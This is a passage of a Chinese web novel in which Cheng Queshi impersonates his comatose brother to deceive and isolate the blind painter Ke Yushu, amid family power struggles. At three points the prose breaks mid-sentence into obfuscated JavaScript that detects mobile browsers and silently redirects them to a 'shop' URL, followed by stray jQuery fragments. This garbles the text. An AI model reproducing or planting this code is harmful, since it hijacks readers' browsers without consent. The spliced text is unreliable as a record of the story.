柯玉树把他当成了程栖山,这些东西都是应该是属于程栖山的,这个既定事实让程雀枝更加惶惶不安。 玉树那样敏感,发觉了自己心中缺失的一块后,就连关怀都无声无息,他会发现自己的谎言吗? 程雀枝狠狠咬住自己的舌尖,尽量用平静的语气说:“可能不行,我还有工作要做,有空再给你描述。” 他必须马上离开柯玉树身边,因为他害怕自己再这么待下去,会忍不住冲到郊区谋害亲哥。 为什么程栖山能够得到柯玉树无条件的爱意,他却没有?程雀枝知道,现在的他只能伪装成程栖山,才能在柯玉树心里留下一席之地。 越想越气。 他想要玉树爱上的是自己,想要完全占有柯玉树,改变柯玉树的所有,把程栖山在他心中的形象完全刷新成自己,而不是自己伪装的,程栖山的替身。 程诲南就是最大的阻碍。 说曹操曹操到,刚好这时候程雀枝的手机响了,柯玉树都怀疑他一早定好了闹钟,被自己气了一下后赶快逃离。 程雀枝听到手机响后,如蒙大赦,对柯玉树说:“玉树,我接个电话。” 然后快走几步,接起电话。 柯玉树似乎听到了电话对面传来人的声音,所以真有电话打进来?那还挺巧的,程雀枝应该拜一拜这个救了他的人。 “什么事?” 程雀枝用的是程栖山的声音,电话对面的下属愣了一下,然后立刻反应过来boss这时候在家,小声说:“老板,郊区那位似乎有动静了。” 郊区? 程雀枝顿时惊了。 他便宜大哥要醒了吗? “怎么可能?不是说醒来的几率忽略不计,为什么他忽然有动静了!”程雀枝低声呵斥。 柯玉树在阳台静静搅动着颜料,竖起耳朵,把对话听了个大概。 下属回答:“医生只是说几率不大,不过也有偶然性,那位……估计真有醒来的可能性。” 程雀枝挂断电话,手死死攥成了拳,疯狂在脑中思考对策。 不行,现在不至于杀大哥,人还没醒,没必要惹一身腥,他还有其他办法…… 程雀枝转过身来,发现柯玉树居然走到了他的后面,顿时被吓得后退几步。 柯玉树只感觉眼前有一阵风吹过,面前的人似乎移动了一下,然后向后倒去。 “栖山?” 柯玉树下意识伸出手想要捞人,却没捞到,然后只听得闷哼一声,程雀枝似乎被他吓得倒在了沙发上。 柯玉树:“……我有这么吓人吗?” 他摸索着走到沙发旁边,程雀枝的头磕在扶手上,眼冒金星,但还是强撑着说:“没,你不吓人,是我没注意。” 柯玉树问:“怎么了?我刚刚似乎听到什么醒了,是发生了很要紧的事吗?” 程雀枝揉头的手停住。 玉树听到了? 他心乱如麻。 27.借题发挥 27 程雀枝随即想到柯玉树还不知道他把程栖山送到了郊区,他顿时有些庆幸。 还好还好。 但程雀枝又忽然想到,如果程栖山醒来要回玉树怎么办? 程栖山会直接拆穿自己和程诲南的谎言,让他们无地自容,彻底失去柯玉树。仅仅是想象,程雀枝就感觉自己现在的心跳慌乱无比,偏偏这时候柯玉树又问了一遍。 一脸的担心。 “没有,只是个品行不端的远房亲戚,来打秋风的,不重要,我让下属去处理就行。” 柯玉树没想到程雀枝的回答居然是这个,他的动作迟滞了一秒,然后笑着说:“远房亲戚就能让你这么紧张吗?还是说,是我让你这么紧张?程栖山啊,都是要结婚的人了,以前怎么没见你面皮那么薄?” 他没再把话题延续到刚才那通电话,程雀枝松了口气。 柯玉树向程雀枝伸出手:“先起来吧,我拉你。” 程雀枝眨了眨眼,眼神逐渐坚定,他握住了柯玉树的手:“对,都是要结婚的人了,我下次不会再这样了。” 是程栖山自己没用出车祸成了植物人,程雀枝只是做了每个人都会做的选择而已。 而且既然是玉树先伸出的手,程雀枝自然要握住,毕竟他现在才是柯玉树的未婚夫。 至于程栖山? 感情从来不讲究先来后到,不被爱的人才是小三! 更何况这两人根本没领证,到时候玉树和谁领证还不一定呢! 程雀枝借着柯玉树的手站起来,凑近,金色的眼珠子一动,小声说:“对不起啊,玉树,其实我刚才骗了你,最近烦心事太多了,我现在的心情真的很糟糕。” 柯玉树顺势把程雀枝抱进怀里,和他一起坐在沙发上,轻声说:“怎么了?最近是发生什么了吗?和我讲讲吧,看看我能不能帮上什么忙。” 程雀枝心顿时暖暖的。 他用和程栖山截然不同的语气说:“我其实还有个叔叔,这段时间忽然回国了。程氏的权柄在我俩手上,他居然开始和我争权夺位,上次你出事就是他搞出来的,这老东西坏得很。” 程雀枝用的是自己平时说话的口吻,说着说着,他看着柯玉树温柔的表情,竟不由自主撒起了娇。 柯玉树默默给程雀枝贴了个爱撒娇的标签,捏捏他的手,又问:“那怎么办?你有什么想法吗?” 刚才骂亲哥是打秋风的穷亲戚,现在骂小叔是老不死的坏东西,真是相亲相爱的一家三口啊。 资料上显示程诲南把这兄弟俩拉扯大,从小到大这仨不知道挨过了多少劫难,相互扶持,才夺回了家族的权柄。 难道说,他们还是利益至上? 程雀枝图穷匕见:“我想啊,小叔既然这么想要权力,那我就给他好了,不和小叔争。虽然这些都是我的东西,但我毕竟是由他拉扯到大,就是怕他不放心我……” 怎么这边也开始上眼药了? 柯玉树:“所以?” 程雀枝:“所以,玉树,你愿意和我走吗?我们去其他地方暂避一段时间,让小叔知道我没有跟他争的意思,他会懂的。” 柯玉树有些惊讶,程雀枝和他的想法不谋而合,都是想着先远离纷争之地,然后逐个击破。 solo是吧?他奉陪。 于是柯玉树做出全身心信任的模样,笑着说:“当然可以啊,栖山,你去哪里我都陪着。” 程雀枝得到肯定的答复,脸上却没有太多真正的欢喜,因为柯玉树又叫了大哥的名字。 所以说柯玉树真的会同意大哥的任何要求,大哥说去哪里他都会跟随,哪怕是龙潭虎穴也去。 程栖山,你真行。 程雀枝打算走之前给程栖山身上撒满痒痒粉,顺便放两个榴莲在床头,他大哥有洁癖,想必会很喜欢。 两人在沙发上相依偎,却心思各异,直到李阿姨做好果盘端到餐厅才分开。 程雀枝留恋着手下的触感,上面还有着属于柯玉树的鼠尾草香气,他复盘了一下刚才的对话,觉得用自己的性格和玉树相处似乎也不错。 玉树应该没有察觉到异常。 那他会喜欢这样的自己吗?程雀枝有些忐忑,随即惊讶自己居然会患得患失,明明他之前是那样雷厉风行。 有什么东西在悄然改变。 饭后,程雀枝询问李阿姨是否愿意和他走。 “是西南方向的一个宜居小城市,李阿姨,你要是跟我们走的话,可以加钱,毕竟玉树和你待习惯了。” 李阿姨却拒绝了他,一脸惶恐:“不了吧,程先生,我家在s市,还要给儿媳妇带孙子呢,不能离开。” 程雀枝也就没有再多做要求。 李阿姨又看向柯玉树,说:“而且柯先生也不好走啊,再过三个月他就能手术了,到时候换环境对伤势有影响。” 她又絮絮叨叨说了好些坏处,试图用这些话术挽留一下,她担心程雀枝强买强卖,强行把柯玉树给拐走,但自己又没有办法。 李阿姨不敢跟着去,却没想到先摇头拒绝的是柯玉树。 柯玉树:“我还挺想去那边看看的,李阿姨,你要是不方便可以留下,不用担心我。我已经习惯看不见的生活了,到那边日子应该也挺清闲的。栖山,你呢?” 柯玉树偏头。 程雀枝看着他,心动于自己和柯玉树的默契,于是温声回答:“嗯,到时候我不用工作,可以一直照顾你,所以不用请护工。” 也最好不要做手术,玉树,直到我把你心里的程栖山一点点改成我的模样,彻底取代那个男人,我才会让你重获光明。 李阿姨听着程雀枝的那两句话,又看到他若有所思的阴鸷目光,顿时后背发寒,她僵硬地挤出笑容:“是、是吗?那很好啊,两位先生什么时候走?” 程雀枝:“大后天,不会带太多东西走。李阿姨,平层的那些东西你自己处理一下,特别是冰箱这些……” 他开始给李阿姨事无巨细地布置任务,看来是真打算出个远门,而且早就准备好了。 柯玉树在旁边听着,如果能把纱布取下来,就会看到他已经失明的眼眸无机质地转动着,还带着几分隐含的兴奋。 程雀枝这种性格,再加上他们之间的关系,让柯玉树有了久违的兴奋感觉,这感觉往往伴随着他的灵感,可惜现在柯玉树无法动笔,也无从考据来处。 或许程雀枝之于他,真的能替代缪斯? 他拭目以待。 又过了两天安生日子,柯玉树什么都没有做,一系列证件和票据全都办妥了,甚至根本没拿柯玉树的身份证明,由此可见程雀枝身后的能量有多强。 柯玉树从庭华那里知道了郊外疗养院闹出来的动静,却依旧悠然地在画布上胡乱铺着颜色。 报告说程栖山醒来的几率大大增加,不保证能醒,但至少比以前高了,看来他说的那几句话还真是有用。 阳光洒在阳台上,监控对准柯玉树的画架背后,屋檐下面有个小鸟巢,柯玉树没让打掉,所以收音一直不太好,也照不到柯玉树正在画的画。 还有他的手机屏幕。 柯玉树左耳戴着蓝牙耳机,正在跟庭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979478|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华通话。 庭华:“这叔侄俩心思各异,特别是程诲南,他一直在想尽办法把程栖山送出国,生怕他醒来后杀上门。可惜程栖山是华国户口,不好办出国的手续,他现在忙得焦头烂额。” 柯玉树小声问:“那小花,你打算怎么做?” 画布上的色块堆积,只有两种颜色,却有十足的冲击力。 庭华说:“只是帮忙给程诲南疏通了一下关系,放心,他们还认为我和你只是朋友,没起疑。” 柯玉树回了一个嗯,就没有再继续说话,而是静静凭着感觉铺色,笔下的颜料细腻柔滑,他也心情颇好。 监控下,柯玉树一向是少言寡语的,他专注绘画,程雀枝在办公室也不经常打开声音。 所以并没有发现这边的异常。 不久后,耳机里依旧传来庭华浅浅的呼吸声,柯玉树落下最后一笔,然后说:“谢谢。” 庭华:“不用。” 电话被挂断,一直端着的庭华这才捂住脸,吐息沿着齿缝缓缓泄出,他深吸一口气,手指向上把头发向后捋。 黑发散落,半长不长到腰侧,庭华嫌弃头发遮挡视线,干脆扎了个道士髻,然后在桌上挑挑选选,拿了三支精心准备好的香,站起来,穿过回廊,来到经堂坐下。 他需要静心。 玉树让他配合程雀枝支走程诲南,这事并不难,但难的是不能让这两人察觉端倪,所以庭华以庭家为诱饵出面和程诲南协商,甚至还提出帮忙将程栖山送出国。 这其中也存了私心。 把程栖山送出国,他也眼不见心不烦,毕竟程栖山才是玉树的未婚夫,在国内待着,总会让人忍不住上去扇他两巴掌。 他和程诲南明天约好了,把程栖山送出国后,转去西南本家谈合作。 庭家和城市集团的项目和本土化有关,庭华虽然是庭家的掌权人,但家族不是一言堂,他走了好几位叔伯的关系才拿到这项目。 这次回西南本家,他怕是要付出不小的代价。 代价? 庭华轻笑一声,什么代价他都拿得出来。 手指擦过拂尘,庭华随手捏了个灵官印,然后口中默诵《常清静经》,门外的佣人见状,纷纷避开经堂。 “先生又在念常清静经了?最近来经堂也有些频繁,是否要告诉老太太?”有佣人问。 管家淡淡扫了他一眼,“谁是你的雇主?” 佣人也不慌,只是叹了口气说:“可先生这样下去也不是办法呀,他心乱了……庭家不会放过他的。” 经堂外的回廊,庭英看着里面的小叔,有些忧虑。 “幺爸……” 庭英和小叔的关系很好,所以把什么事都告诉了小叔,现在知道小叔居然和柯教授是朋友关系,他肯定是生气的。但一开始他以为小叔是在看自己笑话,后面转念一想,小叔不会那么无聊,应该只是巧合。 柯教授不喜欢自己,庭英知道,小叔应该也知道,所以他站在挚友和侄子之间一定很难做。 庭英叹了口气。 谁都不知道小叔为何会乱了道心,明明小叔是这十几年来最具道心的庭家人,自他有记忆以来,从来没见过小叔这么无序的样子。 难道说是最近工作太多了吗? 庭英暗暗发誓,即便在宗教学院学的不理想,他也要想办法为小叔分担负担。 本想进去告知小叔,庭英又想起明天有本土教会外交,小叔明天一早就要出国,庭英也就没有进经堂打扰。 自然也没看到庭华捏着的那三柱香,到最后,寸寸断裂。 28.出发 28 离开s市的这天天气很好,程雀枝订了一大早的飞机。 柯玉树醒来的时候,李阿姨已经不见了踪影。 李阿姨昨天已经为他们简单收拾了物品,柯玉树的东西很少,只有两个行李箱,没带多少衣服,到时候空运过去或者在当地定制,所以带过去的东西大多都是画板、颜料和几样已经用习惯的生活用品。 另一个箱子则是包得严严实实的半身陶偶。 离开平层,程雀枝为柯玉树戴上口罩,把他带进车里,前后都有车跟着,跟踪的人无处遁形。 下高架转城外大道,跟踪车辆被跟在大后方的雇佣兵逼停,程雀枝的下属把人从车上拖了下来,到车后面去交涉。 柯玉树对窗外的惨叫熟视无睹,他感受着微风开始思考目的地。 刚才跟踪的大概率是程诲南的人,程雀枝绝对不会让程诲南知道他们的目的地,所以,会是哪一座城市呢? 柯玉树居然有些期待。 往日只有他一个人旅游,时间很多,只是在他乡客居几日或者半个月就走了,现在不一样,他要和程雀枝在那小城市定居solo,至少要一个季度。 得是个让他满意的城市才行。 “抱歉玉树,让你长途奔波劳累了,我订的商务舱,待会在飞机上睡一会儿吧。”程雀枝说。 他扶着柯玉树走特殊通道,往商务舱去,空乘一早就知道今天要来一位特殊的先生,这位先生眼睛不方便,她早早做好准备,现在却完全插不上手,服务全让另一位程先生给做了。 “嗯,我待会睡一觉。栖山,你小叔那边真的没问题吗?”柯玉树问。 他似乎有些担忧,眉头都蹙了起来。 这段时间程雀枝一直在他这里抹黑程诲南,把他亲小叔塑造成了一个十恶不赦的老男人,柯玉树听得想笑,费了好大劲才憋住。 程雀枝可太有意思了,把他对程栖山脸的瘾都被暂且压制住了。 就算长时间摸不到,柯玉树也能对着半身陶偶勾勒出大概轮廓,暂时缓解对缪斯的渴求。 他提到了程诲南,果不其然,程雀枝又爆金句:“他把我那个穷亲戚打包出国了,估计现在也在国际机场,说起来,老东西还真是做了件好事。” 一句话,点了两个人。 程雀枝以为柯玉树不知道他在说谁,实则柯玉树快要憋不住了,他低着头,肩膀忽然抖了两下,自然引起了程雀枝的注意。 程雀枝:“怎么了?” “没什么,只是觉得可惜,原以为能够和你家里人见一面,看来是不成了。”柯玉树被扶着慢慢走上台阶,“对了,程栖山,你家的其他人呢?” 上了台阶,两人一同进入商务舱,程雀枝走在后面有些烦躁,他担心玉树会查资料,干脆和盘托出。 “我家一共三口人,有个小弟和小叔,小叔之前已经跟你说过了,不必再赘述,程雀枝现在在国外,等我们离开之后,他会接手集团的工作,他能力很强,长得也不错,你应该会很喜欢。” 柯玉树默默侧过脸去找眼罩。 “是吗?可惜我们已经走了,否则真是想和程雀枝见一面……不过我记得他应该不喜欢我?” 程雀枝:“……” 他就多余夸自己。 “他没有不喜欢你……” 柯玉树却没了继续聊天的意思,两人在商务舱各自坐下,空乘跟了一路,终于到自己施展拳脚的时候了。 她一一把柯玉树面前要用的工具和呼叫铃放好,让柯玉树几乎无障碍地完成这一航班,程雀枝在旁边看着,脸又跟吃了屎一样。 憋屈。 不过没过多久,机舱播报飞机即将起飞,他也暂时将这件事抛之脑后,准备和玉树迎来新生活。 就算柯月叶没绑成功,他手里没有把柄也没关系,柯玉树在他手上。 就是把柄。 国际机场的另一侧,程诲南和庭华并肩而立,电梯门打开,程诲南把轮椅上的大侄子推了进去,脸上挂着微笑。 “这回多亏了庭先生帮忙,否则我大侄子的病情怕是会拖出大问题来,程家的大本营在国外,医疗资源也比较发达,说不定把他送出去就能醒过来了。” 庭华跟着程诲南一起进入电梯,他面色苍白,走路都有些不稳,脸上还是带着假笑。 “是吗?那真是我的荣幸,但有个问题我一直很疑惑,明明前几天程大少爷还跟我们一起吃饭,怎么忽然出了车祸?” 程诲南摇头,“我们家族势力纠葛,发生意外很正常。” 他们走商贸航线路子的家族,总是会受到各方势力的注目,即便是今天死了掌权者明天换了一位,也实属正常。 不过,他倒霉的大侄子是真的遇上了意外,程诲南发誓他没动过手。 以前没必要。 “节哀,程先生,世事无常。既然我们已经是合作伙伴了,就不用说谢了吧?”庭华说。 “我的错。” 庭华由侄子扶着出电梯,他还是很虚弱,眼神却有光。 一行四人进入国际航线专用通道。 程诲南发现了庭华今天脸色有些不对劲,但既然庭华不想说,他也不问。 只有庭英知道庭华为什么这么虚弱,因为昨天晚上大伯让庭华跪了一夜。 不知道是什么原因,就连庭英去求情都没有作用,他只听到大伯骂什么“回头草”、“孽缘”。 怕是小叔的爱人又出问题了。 真是情路坎坷啊,庭英由衷希望小叔的恋人能看看小叔,要是真喜欢小叔的话,看着他这幅凄惨模样,再硬的心肠也软了。 要是不软,庭英说什么都不会同意这个小婶婶进门! 庭英叹了口气,目光又落到被程诲南推着的程栖山身上,这人前些天还跟他们一起吃饭,没想到现在忽然都变成植物了。 好像随时都能上桌。 再看一眼程诲南,虽然嘴上说着十分心疼自己的大侄子,实则根本懒得做样子,推人都漫不经心,好几次遇到台阶,庭英都担心程栖山被甩出去。 又一个台阶,程栖山的腿都掉了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983691|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,庭英的眼狠狠抽了两下。 据说程诲南在到处找门路给自己大侄子治病,甚至不惜和庭家合作,怎么看上去像是塑料叔侄情? 程家的水还是太深。 庭英看着死气沉沉的黑七,这个占了柯教授正宫位置的男人,虽然觉得有些不尊重死者,但能亲眼看到情敌落魄的样子,庭英是有些暗爽的。 死者为大,但毕竟人还没死,他先爽一下再说。 通道尽头,庭英放开扶着小叔的手,飞机依旧要起飞,他犹豫了很久,终究还是把问题问出了口。 “既然程栖山成了植物人,那你们两家的联姻怎么办?对了,我最近也没怎么联系上柯教授,他还好吧?” 程诲南似笑非笑地看了庭英一眼。 “联姻肯定是要继续的,实在不行还有我呢,小庭少爷,长辈的事情不要随意打听。” 庭英:“?” 他差点跳起来给程诲南一脚,老黄瓜刷绿漆装嫩呢?嫩草不是这么吃的! 庭华的表情不变,只是点头说:“程先生确实可靠,既然玉树还好,那我就放心了。” 庭英:“???” 不是吧,小叔,你是怎么说出这么丧良心的话的? 这老男人配得上教授吗?? 小叔!你真的和教授是挚友吗??? 庭英又低下头去看程栖山,忽然觉得程栖山都顺眼了不少。 程诲南自从回国后就名声不佳,完全没有掩饰自己在国外花天酒地的传闻,要是染上什么病,传给柯教授了怎么办? 不行,他不同意这门联姻! 庭英忧心重重,但也不好再开口,毕竟两位长辈都还在,他刚才问出的问题已经算是出格。 程诲南说完后,就静静打量着庭华的表情,他对庭英这小子并不感兴趣,在他看来庭英根本没有威胁性,还未被社会打磨过的小子构不成威胁。 现在只有他二侄子尚且能和他一战,还有,就是眼前这个自称是玉树挚友的庭华。 不过庭华的反应都很正常,不像是有什么多余感情,程诲南也放心了下来。 只是临上机舱,程诲南忽然想起便宜二侄子,想打电话问下属二侄子的下落。 打开手机,满屏的轰炸,下属说新手机号还没办下来,他身份特殊,国家最近又在严管号码,旧号码销户和新号码注册都麻烦至极。 甚至还要本人到场诵读填表,程诲南一点空都没有,就拖到了现在。 至于这私人号码怎么泄露的? 呵呵,猜都知道是他的便宜二侄子。 手机卡到不能动,程诲南淡定地清除后台又切到白名单模式,从下属得知平层那边没有动静后,稍稍心安。 他把麻烦大侄子丢出国外后就回来,到时候第一时间给玉树做手术,拆穿二侄子可笑的谎言。 程诲南收回目光,让空乘把大侄子推上机舱,嘴角勾起一抹不屑的笑。 他这张脸就是权威。 程雀枝,到时候我把柯玉树勾引走了,你就等着哭吧。 29.远走高飞 29 程雀枝选的是一座西南方向的小城,不过他们家位置在海拔比较高的地方,这里人烟稀少,适合作案。 这座小城柯玉树来过一次,不过没到这边来,而是去了个有名的4a级景区。 景区旁边就是庭家本家,也是他和庭华初遇的地点。 飞机起飞,程雀枝的声音不自觉带着些雀跃:“据说这城市旁边有个4a级景区,特别有名,如果玉树喜欢山的话,过几天我们就去看看吧,即便你看不见也可以听,可以闻。” 他说的是柯玉树已经去过一次的地方,柯玉树只点头:“嗯,我挺喜欢山的。” 程雀枝又想到了程栖山。 他移开话题:“那里有个特别有名的道观,说不定还能给你求一道平安符……等等,玉树,你已经有平安符了?” 程雀枝的眼神落到柯玉树的脖子上,有些奇怪。 “之前没见过你带平安符,是最近有朋友送的吗?” 柯玉树愣了一下,随即想起这是庭华送给他的平安符。 说程雀枝阴暗,还真是没冤枉他,柯玉树自己都快忘了,他却连柯玉树的项链都一清二楚。 柯玉树猜都猜得到程雀枝的脸色现在有多难看,他忽然有了个计划,笑着说:“对呀,还挺巧,刚好就是c市朋友送的,他得知我出车祸后,专门送个平安符来保平安。” 程雀枝的脸色果然难看了下去,他声音平静地问:“是吗?谁啊?我见过吗?” 难道说,在他不知道的地方,玉树已经悄悄出门了吗?李阿姨干什么吃的?!为什么把玉树放了出去?玉树又和谁见面了?! 程雀枝的眼神变得凶狠,旁边帮忙的空乘察觉到异常,低声询问柯玉树:“柯先生,需要饮料吗?” 柯先生的眼睛看不见,是弱势群体,旁边那位先生又情绪不稳定,空乘尝试转移话题,暗示柯先生随时能向自己求救。 柯玉树摇头说:“谢谢,有白开水吗?帮我倒一杯吧。” 他不像是被威胁了的样子,空乘点头,仍有些不放心地离去,机舱再次只剩下了两个人,柯玉树才回答程雀枝的话。 “你当然没见过啊,毕竟是快递送来的,如果你想要这平安符的话,我可以帮你问问。” 程雀枝咬着牙:“不用,不用,我只是随口问了句,不怎么信道教。家族那边信天主教的比较多,有忌讳。” “好。” 柯玉树不再说话,程雀枝心中的怒气也稍稍缓解,他这时候才反应过来刚才是自己情绪激动了,明明玉树的一切都在自己的掌控之中,为什么要这么患得患失?难道这就是真爱一个人的表现吗? 程雀枝依旧不明白。 心脏失去控制地跳动,连带着他的情绪都有些不稳定,程雀枝深呼吸了几口气,决定把原定带玉树上山的计划pass掉。 绝对不能让玉树碰到其他朋友特别是那个看上去就不怀好意的庭华,那人虽然表面上装得很正常,但一口一个玉树叫着,他才不信庭华不对玉树动心。 越想越觉得生气,程雀枝的面色渐渐阴沉下去,忽然旁边伸来一只温暖的手。 “怎么了,你心情似乎有些差,发生什么事了?” 程雀枝下意识握住柯玉树的手,然后借力翻到柯玉树旁边,蜷缩着,小声说:“玉树,你会怪我吗?莫名其妙就带你走了,甚至不提前让你联系朋友,就来到这人生地不熟的地方。” 柯玉树用另一只手给程雀枝顺毛,动作依旧像那夜一样温柔,他缓缓靠近,在程雀枝期待的目光下赏了一个吻。 在程雀枝的额头。 温热的呼吸喷洒在程雀枝头顶,柯玉树说:“我怎么舍得怪你,你只是太患得患失了,爱一个人是没有错,错的事情都记在法律上呢。” 程雀枝松了口气,没能亲到嘴的失望也消散得一干二净。 玉树啊,你怎么那么温柔?我似乎已经丢不开你了,无论是身体还是心灵,都在渴求你的滋润。 “玉树……” 程雀枝去蹭柯玉树的手。 柯玉树无奈:“怎么成小狗了,都说了你没有错,错事都记在法律上了,像是诈骗啊,故意伤人啊,囚禁啊什么的,这些事情你都没做,怕什么?” 程雀枝:“……” 他忽然僵硬了,不敢再去蹭柯玉树的手。 因为这些事他都做了。 诈骗,代指欺骗玉树;故意伤人,代指他曾对庭英下手;囚禁,代指他曾对柯月叶动手未遂。 卷卷有他名,一样不落。 柯玉树又起了坏心思:“我未婚夫是好人,之所以跟你联姻,是因为你足够沉稳,足够成熟,这样很好。” 柯玉树夸得很起劲,程雀枝是一个字都听不得,他心中又酸又涩,连忙阻止了柯玉树的夸奖。 “好了,玉树我不打扰你休息了,你睡吧,睡醒我们就到了。” 程雀枝默默缩回了自己的位置,破天荒地给柯玉树盖好被子,掖了掖被角,看起来十分体贴。 柯玉树:呵。 航班到站,程雀枝手下人从经济舱出来,为两人取托运过来的行李。 行李不多,程雀枝也没让柯玉树动手,把他扶到旁边的沙发上休息。 “小心点,容易碎。”柯玉树说。 那个放着半身陶偶的行李箱,柯玉树特意让李阿姨包得很仔细,普通搬运是不会弄碎的,但柯玉树这么担心,程雀枝心中忽然又升起了恶念。 他让手下人把半身陶偶搬上车,然后一行人前往他定好的居所。 “是个不大不小的院子,在有点海拔的郊区,玉树你应该会喜欢,那里没什么人,不会被其他人打扰。”程雀枝说。 那是只有他和玉树,是两个人的世界,程雀枝打算自己照顾柯玉树。 从前程雀枝肯定给玉树留下了不好的印象,私奔后,他觉得痛改前非,做一个二十四孝好未婚夫! 程诲南能做的事,他也能胜任。 “嗯,知道了。”柯玉树淡淡回答。 他一向这样逆来顺受,无条件接受未婚夫的所有安排。 住哪里都可以,反正柯玉树现在看不见,对环境的包容力很强。 抵达院门,果然是个不大不小的院子,柯玉树还听到了鸟叫,颇有闲趣。 下属搬东西,程雀枝找了个木椅出来放在院子里,让柯玉树坐着等。 “要不要先打开陶偶看看?毕竟是托运,我担心有什么损伤。”程雀枝建议。 柯玉树点头,程雀枝让人拆开包装,搀扶着柯玉树走到门口,只是人还没到呢,就听到陶瓷碎裂的声音。 下一刻,程雀枝大怒:“你们干什么?找死吗?” 柯玉树茫然:“陶偶碎了吗?” ……真是一套丝滑连招。 程雀枝忍着笑说:“嗯,对不起,是我手下的人办事不力,碎成粉了。” 柯玉树:“……行。” 服了。 程雀枝:嘻嘻。 他还想笑,十分嚣张,刚才还是暗爽,现在演都不演了。 柯玉树又说:“没事,碎了就碎了吧,反正是你的脸,下次再照着你的脸做一个。” 程雀枝:不嘻嘻。 他艰难地说:“玉树,怎么现在倒成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987523|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你劝我了,你真的不生气吗?如果生气的话,我可以处罚手下,他们都是从外国带回来的,不受我国法律……” “停停停,程栖山,你的言论似乎有些危险,”柯玉树后退一步,似乎有些被吓到了,“你什么意思?” 程雀枝瞬间反应过来,找补:“不,我的意思是我可以扣他们工资。” “不小心”弄碎了陶偶的雇佣兵沉默不说话,他们都是程雀枝从瑟莲家族带出来的,二少爷也是爵位的主要竞争人之一,下属对他的一切要求都照单全收。 柯玉树似乎松了口气,“行了,扣些工资就可以了,反正不值几个钱。” 他又转头去询问把陶偶打碎的雇佣兵:“下次小心点就行了,有没有受伤?” 雇佣兵愣了一下,声音有些古怪的回复:“没有受伤,谢谢柯先生。” 柯玉树听出下属应该是个外国人,或是华裔,中文说得有些蹩脚。他点头,又被程雀枝扶着去了院子里晒太阳。 雇佣兵看着柯玉树的背影,忽然有些愧疚。 程雀枝回头扫了他一眼,他又低下头去,把地上的碎片打扫得干干净净。 虽然过程有些小意外,但程雀枝还是解决了心腹大患,玉树已经很久没有摸过程诲南的脸了,面部观感和实际触摸的尺寸不同,有陶偶在,玉树这里就有他们脸的尺寸,现在这个东西没了,程雀枝相信玉树总有一天会忘记那两人脸的尺寸,到时候他可就…… 程雀枝越想越美,还顺便给手下了笔数量可观的小费,雇佣兵收了小费,揣在兜里,忽然觉得有些烫,但还是带着其他人离开了小院,只每三天固定送来新鲜的生活物资。 …… s市,程诲南再次回来的时候,只觉得一身轻松,又迅速恢复战斗状态,严阵以待。 这次,他一定要从二侄子手中,把大侄子的未婚夫抢到手! 却不想得到一个坏消息:程雀枝和柯玉树一起失踪了,到现在都下落不明。 程雀枝手上的股票暂且冻结,权利也都移交给了心腹,压根就动不了,程诲南顿时气得牙痒痒,派了大批大批的人去找两人的线索。 “唉,我养你们干什么吃的?连个人都看不住,”程诲南脸上挂着温和的笑,“他们一个二少爷,一个盲人,难不成还会凭空消失?” 负责监视的下属噤若寒蝉,领头的老大将功补过:“程先生,我知道了!他们虽然走了,但李阿姨没走,咱们可以问问——” 程诲南旁边的下属默默反驳:“李阿姨也走了,被不知名的人送出了国,咱们现在也查不到她的下落。” 领头的老大缩了缩脖子,然后弱弱问:“那她的家人……” “全家一起打包出国的。” 一片死寂。 这次确实是下属们办事不利,老板发怒也正常,但令下属却没想到是,程诲南只是冷笑一声。 “自己去领罚。” 下属松了口气。 明明知道这俩已经跑了,程诲南还是不死心,他赶到程雀枝的大平层,扫视一圈,果然已经人去楼空。 唯一让程诲南些许安慰的是,柯玉树带走了他的半身偶。 c市,程雀枝在监控中看到自家小叔恼羞成怒的模样,心情颇好,他划开家族群,发了张照片过去。 程诲南点开一看,就是他刚才想的半身偶,只是整个陶偶碎成了粉末,一看就是被人故意砸坏的。 程诲南这回是真的气笑了,他猛然抬头,对着客厅一角的监控咬牙切齿:“程雀枝,你可以的。” 然后对着监控比了个国际手势。 “别他妈让我找到你们。” 30.安逸 30 c市,柯玉树听着私家侦探传回来的实时解说,心中舒坦了不少。 不愧是老牌绅士,真是越激越好玩,柯玉树都恨不得亲眼目睹他被气得直跳脚的模样了。 私家侦探是柯月叶给他找的,在知道柯玉树这边的处境后,柯月叶恨不得当天打飞的回来,却被柯玉树劝住了。 柯玉树只是说他想玩玩,柯月叶自然同意,不过前提是保证安全。 柯玉树当即表示会保护好自己。 而且她不爽,于是一个劲往柯玉树身边派人,不管干什么的都要给她哥来一个,力求做到避免这件事再发生。 柯玉树照单全收并留了联系方式。 